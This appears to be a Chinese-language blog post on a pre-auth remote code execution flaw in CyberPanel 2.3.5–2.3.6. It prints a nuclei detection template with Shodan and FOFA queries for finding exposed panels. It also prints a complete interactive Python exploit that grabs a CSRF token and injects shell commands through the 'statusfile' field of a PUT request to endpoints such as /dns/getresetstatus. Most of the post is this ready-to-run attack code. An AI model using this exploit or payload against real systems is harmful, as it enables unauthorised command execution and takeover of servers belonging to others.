介绍
CyberPanel
是一种基于 OpenLiteSpeed 和 LiteSpeed Web Server 构建的现代化开源主机控制面板(Hosting Control Panel)。
项目地址:https://github.com/usmannasir/cyberpanel/tree/stable
CyberPanel v2.3.6 Pre-Auth Remote Code Execution
影响版本
v2.3.5
<= CyberPanel <= v2.3.6
漏洞原理分析
请自行阅读以下这两篇文章,可以说是写的非常清楚了。
漏洞探测
可以使用nuclei进行扫描,以下是扫描模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| id: CyberPanel-v236-pre-auth-rce
info: name: CyberPanel v2.3.6 Pre-Auth Remote Code Execution author: 0or1zo severity: high description: CyberPanel v2.3.6 has a critical vulnerability that allows remote attackers to execute arbitrary commands on the server without prior authentication. impact: Attackers can exploit this vulnerability by crafting malicious requests that bypass authentication controls, allowing them to inject and execute arbitrary commands on the underlying server. reference: - https://community.cyberpanel.net/t/cyberpanel-2-1-remote-code-execution-rce/31760 - https://furina.org.cn/2024/11/02/cyberpanel-2-3-6-rce/ metadata: verified: true max-request: 4 shodan-query: html:"cyberpanel" fofa-query: app="Cyberpanel" product: cyberpanel tags: CyberPanel,pre-auth-rce
flow: http(1) && http(2)
http: - method: GET path: - "{{BaseURL}}" extractors: - type: regex part: header name: csrftoken group: 1 regex: - csrftoken=(.*?); internal: true
- method: PUT headers: X-CSRFToken: "{{csrftoken}}" Content-Type: application/json Referer: "{{BaseURL}}" path: - "{{BaseURL}}/dataBases/upgrademysqlstatus" - "{{BaseURL}}/dns/getresetstatus" - "{{BaseURL}}/ftp/getresetstatus" body: '{"statusfile": "/dev/null; whoami; #","csrftoken": "{{csrftoken}}"}'
matchers-condition: and matchers: - type: word part: body words: - "abort" - "error_message" - "requestStatus" condition: and
- type: status status: - 200 stop-at-first-match: true
|

Exploit
快速交互式漏洞利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| import argparse import sys import requests import warnings from urllib.parse import urljoin
warnings.filterwarnings('ignore', message='Unverified HTTPS request')
class CyberPanelExploit: def __init__(self, target_url): self.target_url = target_url self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' }) self.csrf_token = None
def make_request(self, method, endpoint, **kwargs): url = urljoin(self.target_url, endpoint) kwargs.update({ 'timeout': 30, 'verify': False, 'allow_redirects': False, 'proxies': {'http': 'http://127.0.0.1:8888', 'https': 'http://127.0.0.1:8888'} }) try: response = self.session.request(method, url, **kwargs) if response and response.status_code == 200: return response else: return None except requests.exceptions.RequestException as e: return None
def get_csrf_token(self): response = self.make_request('GET', '/') if response: self.csrf_token = response.cookies.get('csrftoken') if self.csrf_token: return response.cookies.get('csrftoken') print(f'Failed to extract CSRF token: {self.target_url}') return None
def execute_commad(self, path, cmd): headers = { "X-CSRFToken": self.csrf_token, "Content-Type": "application/json", "Referer": str(self.target_url) } payload = '{"statusfile":"/dev/null; %s; #","csrftoken":"%s"}' % (cmd, self.csrf_token) response = self.make_request('PUT', path, headers=headers, data=payload) if response: request_status = response.json().get("requestStatus", None) return request_status else: return None def exploit(self): csrf_token = self.get_csrf_token() while True: cmd = input("$> ") if cmd == "exit": return result = self.execute_commad("/dns/getresetstatus", cmd) print(result)
def main(): parser = argparse.ArgumentParser() parser.add_argument("url", type=str, help="Target URL") args = parser.parse_args() try: exploit = CyberPanelExploit(args.url) exploit.exploit() except KeyboardInterrupt: sys.exit(0)
if __name__ == "__main__": main()
|
